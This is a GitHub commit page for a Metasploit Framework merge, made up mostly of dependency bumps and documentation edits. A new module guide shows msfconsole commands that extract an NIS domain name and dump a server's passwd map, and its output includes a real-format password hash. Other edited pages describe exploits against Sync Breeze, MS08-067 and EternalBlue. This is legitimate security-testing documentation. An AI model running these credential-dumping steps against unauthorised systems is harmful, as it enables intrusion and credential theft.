Skip to content

Commit 7712523

Browse files
clee-r7clee-r7
committed
Merged master for module cache changes
2 parents 809d3d2 + 7849743 commit 7712523

File tree

35 files changed

+964
-305
lines changed

35 files changed

+964
-305
lines changed

‎.gitignore

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -93,3 +93,7 @@ docker-compose.local*
9393
# Ignore python bytecode
9494
*.pyc
9595
rspec.failures
96+
97+
98+
#Ignore any base disk store files
99+
db/modules_metadata_base.pstore

‎CONTRIBUTING.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -45,8 +45,8 @@ and Metasploit's [Common Coding Mistakes].
4545
* **Do** specify a descriptive title to make searching for your pull request easier.
4646
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
4747
* **Do** list [verification steps] so your code is testable.
48-
* **Do** [reference associated issues] in your pull request description
49-
* **Do** write [release notes] once a pull request is landed
48+
* **Do** [reference associated issues] in your pull request description.
49+
* **Do** write [release notes] once a pull request is landed.
5050
* **Don't** leave your pull request description blank.
5151
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
5252

@@ -58,8 +58,8 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
5858
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
5959
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
6060
* **Don't** include more than one module per pull request.
61-
* **Do** include instructions on how to setup the vulnerable environment or software
62-
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs
61+
* **Do** include instructions on how to setup the vulnerable environment or software.
62+
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs.
6363

6464

6565

‎Gemfile.lock

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.16.32)
4+
metasploit-framework (5.0.0)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
@@ -18,7 +18,7 @@ PATH
1818
metasploit-concern
1919
metasploit-credential
2020
metasploit-model
21-
metasploit-payloads (= 1.3.23)
21+
metasploit-payloads (= 1.3.25)
2222
metasploit_data_models
2323
metasploit_payloads-mettle (= 0.3.3)
2424
mqtt
@@ -183,14 +183,14 @@ GEM
183183
activemodel (~> 4.2.6)
184184
activesupport (~> 4.2.6)
185185
railties (~> 4.2.6)
186-
metasploit-payloads (1.3.23)
187-
metasploit_data_models (2.0.15)
186+
metasploit-payloads (1.3.25)
187+
metasploit_data_models (2.0.16)
188188
activerecord (~> 4.2.6)
189189
activesupport (~> 4.2.6)
190190
arel-helpers
191191
metasploit-concern
192192
metasploit-model
193-
pg
193+
pg (= 0.20.0)
194194
postgres_ext
195195
railties (~> 4.2.6)
196196
recog (~> 2.0)
@@ -205,7 +205,7 @@ GEM
205205
nessus_rest (0.1.6)
206206
net-ssh (4.2.0)
207207
network_interface (0.0.2)
208-
nexpose (7.1.1)
208+
nexpose (7.2.0)
209209
nokogiri (1.8.1)
210210
mini_portile2 (~> 2.3.0)
211211
octokit (4.8.0)

‎data/logos/under-construction-v5.txt

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
%clr%red .;lxO0KXXXK0Oxl:.
2+
,o0WMMMMMMMMMMMMMMMMMMKd,
3+
'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
4+
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
5+
.KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
6+
lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo
7+
xMMMMMMMMMMWd. .oNMMMMMMMMMMk
8+
oMMMMMMMMMMx. dMMMMMMMMMMx
9+
.WMMMMMMMMM: :MMMMMMMMMM,
10+
xMMMMMMMMMo lMMMMMMMMMO
11+
NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc;
12+
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX:
13+
NMMMMMMMMW. ;KMMMMMMMMMMMMMMX:
14+
xMMMMMMMMMd ,0MMMMMMMMMMK;
15+
.WMMMMMMMMMc 'OMMMMMM0,
16+
lMMMMMMMMMMk. .kMMO'
17+
dMMMMMMMMMMWd' ..
18+
cWMMMMMMMMMMMNxc'.%clr%whi ##########%clr
19+
%red .0MMMMMMMMMMMMMMMMWc%clr%whi #+# #+#%clr
20+
%red ;0MMMMMMMMMMMMMMMo.%clr%whi +:+%clr
21+
%red .dNMMMMMMMMMMMMo%clr +%whi#+%clr+:++#+
22+
%red 'oOWMMMMMMMMo%clr +:+
23+
%red .,cdkO0K;%clr :+: :+:
24+
:::::::+:
25+
%whiMetasploit%clr %yelUnder Construction%clr

‎db/modules_metadata_base.pstore

2.79 MB
Binary file not shown.

‎documentation/modules/auxiliary/gather/nis_bootparamd_domain.md

Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
## Intro
2+
3+
From the `bootparamd(8)` man page:
4+
5+
> bootparamd is a server process that provides information to diskless clients necessary for booting. It consults the /etc/bootparams file to find the information it needs.
6+
7+
The module documented within will allow a tester to disclose the NIS
8+
domain name from a server running `bootparamd`. After knowing the domain
9+
name, the tester can follow up with `auxiliary/gather/nis_ypserv_map` to
10+
dump a map from a compatible NIS server (running as `ypserv`).
11+
12+
## Setup
13+
14+
Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
15+
If the link is down, you can find it via the Wayback Machine.
16+
17+
After that is done, install `bootparamd` however your OS provides it.
18+
19+
Make sure you add a client to the `bootparams` file, which is usually at
20+
`/etc/bootparams`.
21+
22+
Here is an example `bootparams` file (courtesy of
23+
[@bcoles](https://github.com/bcoles)):
24+
25+
```
26+
clientname root=nfsserver:/export/clientname/root
27+
```
28+
29+
You can read the `bootparams(5)` man page for more info.
30+
31+
Lastly, the client should be added to `/etc/hosts` if it isn't already
32+
resolvable.
33+
34+
## Options
35+
36+
**PROTOCOL**
37+
38+
Set this to either TCP or UDP. UDP is the default due to `bootparamd`.
39+
40+
**CLIENT**
41+
42+
Set this to the address of a client in the target's `bootparams` file.
43+
Usually this is a host within the same network range as the target.
44+
45+
**XDRTimeout**
46+
47+
Set this to the timeout in seconds for XDR decoding of the response.
48+
49+
## Usage
50+
51+
```
52+
msf > use auxiliary/gather/nis_bootparamd_domain
53+
msf auxiliary(gather/nis_bootparamd_domain) > set rhost 192.168.33.10
54+
rhost => 192.168.33.10
55+
msf auxiliary(gather/nis_bootparamd_domain) > set client 192.168.33.10
56+
client => 192.168.33.10
57+
msf auxiliary(gather/nis_bootparamd_domain) > run
58+
59+
[+] 192.168.33.10:111 - NIS domain name for host ubuntu-xenial (192.168.33.10) is gesellschaft
60+
[*] Auxiliary module execution completed
61+
msf auxiliary(gather/nis_bootparamd_domain) >
62+
```
63+
64+
After disclosing the domain name, you can use
65+
`auxiliary/gather/nis_ypserv_map` to dump a map from a compatible NIS
66+
server.
67+
68+
```
69+
msf auxiliary(gather/nis_bootparamd_domain) > use auxiliary/gather/nis_ypserv_map
70+
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.33.10
71+
rhost => 192.168.33.10
72+
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
73+
domain => gesellschaft
74+
msf auxiliary(gather/nis_ypserv_map) > run
75+
76+
[+] 192.168.33.10:111 - Dumping map passwd.byname on domain gesellschaft:
77+
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
78+
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
79+
games:*:5:60:games:/usr/games:/usr/sbin/nologin
80+
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
81+
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
82+
sys:*:3:3:sys:/dev:/usr/sbin/nologin
83+
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
84+
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
85+
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
86+
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
87+
bin:*:2:2:bin:/bin:/usr/sbin/nologin
88+
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
89+
sync:*:4:65534:sync:/bin:/bin/sync
90+
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
91+
uuidd:*:108:112::/run/uuidd:/bin/false
92+
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
93+
root:*:0:0:root:/root:/bin/bash
94+
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
95+
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
96+
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
97+
messagebus:*:107:111::/var/run/dbus:/bin/false
98+
_apt:*:105:65534::/nonexistent:/bin/false
99+
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
100+
syslog:*:104:108::/home/syslog:/bin/false
101+
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
102+
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
103+
pollinate:*:111:1::/var/cache/pollinate:/bin/false
104+
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
105+
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
106+
lxd:*:106:65534::/var/lib/lxd/:/bin/false
107+
108+
[*] Auxiliary module execution completed
109+
msf auxiliary(gather/nis_ypserv_map) >
110+
```

‎documentation/modules/exploit/windows/http/syncbreeze_bof.md

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,17 @@
11
## Vulnerable Application
22

3-
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28 and v10.0.28 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities are caused by improper bounds checking of the request path in HTTP GET requests and username value via HTTP POST requests sent to the built-in web server, respectively. This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe) and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
3+
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28, v10.0.28, and v10.1.16
4+
are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker
5+
to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities
6+
are caused by improper bounds checking of the request path in HTTP GET requests and username value
7+
via HTTP POST requests sent to the built-in web server, respectively.
8+
9+
This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available
10+
for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe)
11+
and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
412

513
## Verification Steps
14+
615
1. Install a vulnerable Sync Breeze Enterprise
716
2. Start `Sync Breeze Enterprise` service
817
3. Start `Sync Breeze Enterprise` client application

‎documentation/modules/exploit/windows/smb/ms08_067_netapi.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
ms08_067_netapi is one of the most popular remote exploits against Microsoft Windows. It is
2-
considered a reliable exploit, and allows you to gain access as SYSTEM - the highest Windows
3-
privilege. In modern day penetration test, this exploit would most likely be used in an internal
4-
environment, and not so much from external due to the likelihood of a firewall.
2+
considered a reliable exploit and allows you to gain access as SYSTEM - the highest Windows
3+
privilege. In modern day penetration tests, this exploit would most likely be used in an internal
4+
environment and not so much from external due to the likelihood of a firewall.
55

66
The check command of ms08_067_netapi is also highly accurate, because it is actually testing the
77
vulnerable code path, not just passively.
@@ -15,7 +15,7 @@ This exploit works against a vulnerable SMB service from one of these Windows sy
1515
* Windows XP
1616
* Windows 2003
1717

18-
To reliability determine whether the machine is vulnerable, you will have to either examine
18+
To reliably determine whether the machine is vulnerable, you will have to either examine
1919
the system's patch level, or use a vulnerability check.
2020

2121
## Verification Steps

‎documentation/modules/exploit/windows/smb/ms17_010_eternalblue.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
ms17_010_eternalblue is a remote exploit against Microsoft Windows, originally written by the
22
Equation Group (NSA) and leaked by Shadow Brokers (an unknown hacking entity). It is
3-
considered a reliable exploit, and allows you to gain access not only as SYSTEM - the highest Windows
4-
user mode privilege, but also full control of the kernel in ring 0. In modern day penetration test,
3+
considered a reliable exploit and allows you to gain access not only as SYSTEM - the highest Windows
4+
user mode privilege, but also full control of the kernel in ring 0. In modern day penetration tests,
55
this exploit can be found in internal and external environments.
66

77
As far as remote kernel exploits go, this one is highly reliable and safe to use.

‎lib/metasploit/framework/spec/constants.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,7 @@ module Metasploit::Framework::Spec::Constants
2222
Error
2323
External
2424
Loader
25+
Metadata
2526
MetasploitClassCompatibilityError
2627
Namespace
2728
VersionCompatibilityError

0 commit comments

Comments
 (0)